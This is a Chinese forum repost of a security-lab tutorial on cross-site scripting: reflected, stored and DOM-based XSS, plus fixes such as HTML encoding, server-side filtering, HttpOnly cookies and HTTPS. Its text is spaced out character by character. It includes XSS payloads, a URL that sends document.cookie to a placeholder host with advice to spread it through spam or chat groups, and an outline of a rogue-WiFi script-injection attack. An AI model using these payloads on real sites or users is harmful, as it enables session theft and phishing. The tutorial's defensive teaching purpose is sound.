搜索

[36] 2019-12-20_web攻防之xss攻击及漏洞恢复

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-15
2019-12-20_web攻防之xss攻击及漏洞恢复 w e b 攻 防 之 x s s 攻 击 及 漏 洞 恢 复 原 创   f 8 安 全 攻 防 实 验 室   7 8 9 0 安 全 攻 防 实 验 室   2 0 1 9 - 1 2 - 2 0 X S S ：   ( C r o s s   S i t e   S c r i p t i n g )   跨 站 脚 本 攻 击 ，   是 W e b 程 序 中 最 常 见 的 漏 洞 。 指 攻 击 者 在 网 页 中 嵌 入 客 户 端 脚 本 ( 例 如 J a v a S c r i p t ) ,   当 用 户 浏 览 此 网 页 时 ， 脚 本 就 会 在 用 户 的 浏 览 器 上 执 行 ， 从 而 达 到 攻 击 者 的 目 的 .     比 如 获 取 用 户 的 C o o k i e ， 导 航 到 恶 意 网 站 , 携 带 木 马 等 。 一 、 产 生 原 因 一 、 产 生 原 因 假 如 有 下 面 一 个 t e x t b o x < i n p u t   t y p e = " t e x t "   n a m e = " a d d r e s s 1 "   v a l u e = " v a l u e 1 f r o m " > v a l u e 1 f r o m 是 来 自 用 户 的 输 入 ， 如 果 用 户 不 是 输 入 v a l u e 1 f r o m , 而 是 输 入   " / > < s c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) < / s c r i p t > < ! -   那 么 就 会 变 成 < i n p u t   t y p e = " t e x t "   n a m e = " a d d r e s s 1 "   v a l u e = " " / > < s c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) < / s c r i p t > < ! -   " > 嵌 入 的 J a v a S c r i p t 代 码 将 会 被 执 行 或 者 用 户 输 入 的 是     " o n f o c u s = " a l e r t ( d o c u m e n t . c o o k i e )             那 么 就 会 变 成   < i n p u t   t y p e = " t e x t "   n a m e = " a d d r e s s 1 "   v a l u e = " "   o n f o c u s = " a l e r t ( d o c u m e n t . c o o k i e ) " >   事 件 被 触 发 的 时 候 嵌 入 的 J a v a S c r i p t 代 码 将 会 被 执 行 攻 击 的 威 力 ， 取 决 于 用 户 输 入 了 什 么 样 的 脚 本 H T M L   E n c o d e X S S 之 所 以 会 发 生 ，   是 因 为 用 户 输 入 的 数 据 变 成 了 代 码 。   所 以 我 们 需 要 对 用 户 输 入 的 数 据 进 行 H T M L E n c o d e 处 理 。   将 其 中 的 " 中 括 号 " ，   “ 单 引 号 ” ， “ 引 号 ”   之 类 的 特 殊 字 符 进 行 编 码 。 二 、 攻 击 场 景 二 、 攻 击 场 景 R e f l e c t e d   X S S （ 基 于 反 射 的 X S S 攻 击 ） S t o r e d   X S S （ 基 于 存 储 的 X S S 攻 击 ） D O M - b a s e d   o r   l o c a l   X S S （ 基 于 D O M 或 本 地 的 X S S 攻 击 ） 1 .   R e f l e c t e d   X S S 主 要 依 靠 站 点 服 务 端 返 回 脚 本 ， 在 客 户 端 触 发 执 行 从 而 发 起 W e b 攻 击 。 假 如 在 某 搜 索 网 站 搜 索 内 容 ， 填 入 “ < s c r i p t > a l e r t ( ' h a n d s o m e   b o y ' ) < / s c r i p t > ” ,   点 击 搜 索 。 当 前 端 页 面 没 有 对 返 回 的 数 据 进 行 过 滤 ， 直 接 显 示 在 页 面 上 ，   这 时 就 会 a l e r t 那 个 字 符 串 出 来 。   进 而 可 以 构 造 获 取 用 户 c o o k i e s 的 地 址 ， 通 过 Q Q 群 或 者 垃 圾 邮 件 ， 来 让 其 他 人 点 击 这 个 地 址 ： h t t p : / / w w w . . . . . / s e a r c h ? n a m e = < s c r i p t > d o c u m e n t . l o c a t i o n = ' h t t p : / / x x x / g e t ? c o o k i e = ' + d o c u m e n t . c o o k i e < / s c r i p t >
开 发 安 全 措 施 ： 1 ）   前 端 在 显 示 服 务 端 数 据 时 候 ， 不 仅 是 标 签 内 容 需 要 过 滤 、 转 义 ， 就 连 属 性 值 也 都 可 能 需 要 。 2 ）   后 端 接 收 请 求 时 ， 验 证 请 求 是 否 为 攻 击 请 求 ， 攻 击 则 屏 蔽 。 2 .   S t o r e d   X S S 通 过 发 表 带 有 恶 意 跨 域 脚 本 的 帖 子 / 文 章 ， 从 而 把 恶 意 脚 本 存 储 在 服 务 器 ， 每 个 访 问 该 帖 子 / 文 章 的 人 就 会 触 发 执 行 。 例 子 ： 1 .   发 一 篇 文 章 ， 里 面 包 含 了 恶 意 脚 本 今 天 天 气 不 错 啊 ！ < s c r i p t > a l e r t ( ' h a n d s o m e   b o y ' ) < / s c r i p t > 2 .   后 端 没 有 对 文 章 进 行 过 滤 ， 直 接 保 存 文 章 内 容 到 数 据 库 。 3 .   当 其 他 看 这 篇 文 章 的 时 候 ， 包 含 的 恶 意 脚 本 就 会 执 行 。 P S ： 因 为 大 部 分 文 章 是 保 存 整 个 H T M L 内 容 的 ， 前 端 显 示 时 候 也 不 做 过 滤 ， 就 极 可 能 出 现 这 种 情 况 。 结 论 ： 后 端 尽 可 能 对 提 交 数 据 做 过 滤 ， 在 场 景 需 求 而 不 过 滤 的 情 况 下 ， 前 端 就 需 要 做 些 处 理 了 。 开 发 安 全 措 施 ： 1 ）   首 要 是 服 务 端 要 进 行 过 滤 ， 因 为 前 端 的 校 验 可 以 被 绕 过 。 2 ）   当 服 务 端 不 校 验 时 候 ， 前 端 要 以 各 种 方 式 过 滤 里 面 可 能 的 恶 意 脚 本 ， 例 如 s c r i p t 标 签 ， 将 特 殊 字 符 转 换 成 H T M L 编 码 。 3 .   D o m - B a s e d   X S S 基 于 D O M 或 本 地 的 X S S 攻 击 。 一 般 是 提 供 一 个 免 费 的 w i f i ， 但 是 提 供 免 费 w i f i 的 网 关 会 往 你 访 问 的 任 何 页 面 插 入 一 段 脚 本 或 者 是 直 接 返 回 一 个 钓 鱼 页 面 ， 从 而 植 入 恶 意 脚 本 。 这 种 直 接 存 在 于 页 面 ， 无 须 经 过 服 务 器 返 回 就 是 基 于 本 地 的 X S S 攻 击 。 例 子 1 ： 1 ）   提 供 一 个 免 费 的 w i f i 。 2 ）   开 启 一 个 特 殊 的 D N S 服 务 ， 将 所 有 域 名 都 解 析 到 我 们 的 电 脑 上 ， 并 把 W i f i 的 D H C P - D N S 设 置 为 我 们 的 电 脑 I P 。 3 ）   之 后 连 上 w i f i 的 用 户 打 开 任 何 网 站 ， 请 求 都 将 被 我 们 截 取 到 。 我 们 根 据 h t t p 头 中 的 h o s t 字 段 来 转 发 到 真 正 服 务 器 上 。 4 ）   收 到 服 务 器 返 回 的 数 据 之 后 ， 我 们 就 可 以 实 现 网 页 脚 本 的 注 入 ， 并 返 回 给 用 户 。 5 ）   当 注 入 的 脚 本 被 执 行 ， 用 户 的 浏 览 器 将 依 次 预 加 载 各 大 网 站 的 常 用 脚 本 库 。 这 个 其 实 就 是 w i f i 流 量 劫 持 ， 中 间 人 可 以 看 到 用 户 的 每 一 个 请 求 ， 可 以 在 页 面 嵌 入 恶 意 代 码 ， 使 用 恶 意 代 码 获 取 用 户 的 信 息 ， 可 以 返 回 钓 鱼 页 面 。 结 论 ： 结 论 ： 这 攻 击 其 实 跟 网 站 本 身 没 有 什 么 关 系 ， 只 是 数 据 被 中 间 人 获 取 了 而 已 ， 而 由 于 H T T P 是 明 文 传 输 的 ， 所 以 是 极 可 能 被 窃 取 的 。 开 发 安 全 措 施 ： 开 发 安 全 措 施 ： 1 .   使 用 H T T P S ！ H T T P S 会 在 请 求 数 据 之 前 进 行 一 次 握 手 ， 使 得 客 户 端 与 服 务 端 都 有 一 个 私 钥 ， 服 务 端 用 这 个 私 钥 加 密 ， 客 户 端 用 这 个 私 钥 解 密 ， 这 样 即 使 数 据 被 人 截 取 了 ， 也 是 加 密 后 的 数 据 。 漏 洞 恢 复 漏 洞 恢 复 将 重 要 的 c o o k i e 标 记 为 h t t p   o n l y ,       这 样 的 话 J a v a s c r i p t   中 的 d o c u m e n t . c o o k i e 语 句 就 不 能 获 取 到 c o o k i e 了 . 只 允 许 用 户 输 入 我 们 期 望 的 数 据 。   例 如 ： 　 年 龄 的 t e x t b o x 中 ， 只 允 许 用 户 输 入 数 字 。   而 数 字 之 外 的 字 符 都 过 滤 掉 。 对 数 据 进 行 H t m l   E n c o d e   处 理 过 滤 或 移 除 特 殊 的 H t m l 标 签 ，   例 如 :   < s c r i p t > ,   < i f r a m e >   ,     & l t ;   f o r   < ,   & g t ;   f o r   > ,   & q u o t   f o r 过 滤 J a v a S c r i p t   事 件 的 标 签 。 例 如   " o n c l i c k = " ,   " o n f o c u s "   等 等 。 p s : 打 个 小 广 告 额 ， 欢 迎 各 位 表 哥 加 我 微 信 打 个 小 广 告 额 ， 欢 迎 各 位 表 哥 加 我 微 信 ~

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理